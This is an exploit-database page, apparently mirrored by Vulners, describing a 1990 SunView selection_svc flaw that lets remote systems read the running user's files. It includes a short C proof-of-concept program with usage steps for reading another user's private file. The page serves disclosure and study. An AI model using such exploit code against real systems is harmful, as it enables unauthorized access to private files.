Lucene search
+L

SunView (SunOS 4.1.1) - 'selection_svc' Remote File Read

🗓️ 14 Aug 1990 00:00:00Reported by Peter ShipleyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

Remote file read vulnerability in SunView allows unauthorized access to readable files.

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Sun Solaris <= 10 rpc.ypupdated Remote Root Exploit (meta)
4 Apr 200800:00
zdt
circl
Circl
CVE-1999-0209
4 Apr 200800:00
circl
cve
CVE
CVE-1999-0209
29 Sep 199904:00
cve
cvelist
Cvelist
CVE-1999-0209
29 Sep 199904:00
cvelist
exploitdb
Exploit DB
Solaris - ypupdated Command Execution (Metasploit)
25 Jul 201000:00
exploitdb
exploitdb
Exploit DB
Sun Solaris 10 - rpc.ypupdated Remote Code Execution (Metasploit)
4 Apr 200800:00
exploitdb
exploitpack
exploitpack
Sun Solaris 10 - rpc.ypupdated Remote Code Execution (Metasploit)
4 Apr 200800:00
exploitpack
metasploit
Metasploit
Solaris ypupdated Command Execution
18 Apr 200801:33
metasploit
nvd
NVD
CVE-1999-0209
14 Aug 199004:00
nvd
packetstorm
Packet Storm
CAU-EX-2008-0001.txt
8 Apr 200800:00
packetstorm
Rows per page
Source:  https://www.securityfocus.com/bid/8/info

On Sun3 and Sun4 systems, a remote system can read any file that is readable to the user running SunView. On the 386i, a remote system can read any file on the workstation running SunView regardless of protections. Note that if root runs Sunview, all files are potentially accessible by a remote system.

Sunview does not kill the selection_svc process when the user quits from Sunview. Thus, unless the process is killed, remote systems can still read files that were readable to the last user that ran Sunview. Under these circumstances, once a user has run Sunview, start using another window system (such as X11), or even logoff, but still have files accessible to remote systems.

/* SELN_HOLD_FILE
 * For use where someone has a selection_svc runnning as them, after an
 * invocation of suntools:
 *
 * % cat their_private_file
 * their_private_file: Permission denied
 * % cc seln_hold_file.c -o seln_hold_file -lsuntool -lsunwindow
 * % ./seln_hold_file their_private_file
 * % get_selection 2
 * < contents of their_private_file >
 * %
 */

#include <stdio.h>
#include <sys/types.h>
#include <suntool/seln.h>

main(argc, argv)
  int argc;
  char *argv[];
{
  Seln_result     ret;

  if (argc != 2) {
    (void) fprintf(stderr, "usage: seln_grab file1\n");
    exit(1);
  }

  ret = seln_hold_file(SELN_SECONDARY, argv[1]);
  seln_dump_result(stdout, &ret);
  printf("\n");
}

/*
 * Local variables:
 * compile-command: "cc -sun3 -Bstatic -o seln_hold_file seln_hold_file.c -lsun
tool -lsunwindow"
 * end:
 *
 * Static required because _mem_ops not included in ld.so
 */

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Nov 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.4853
40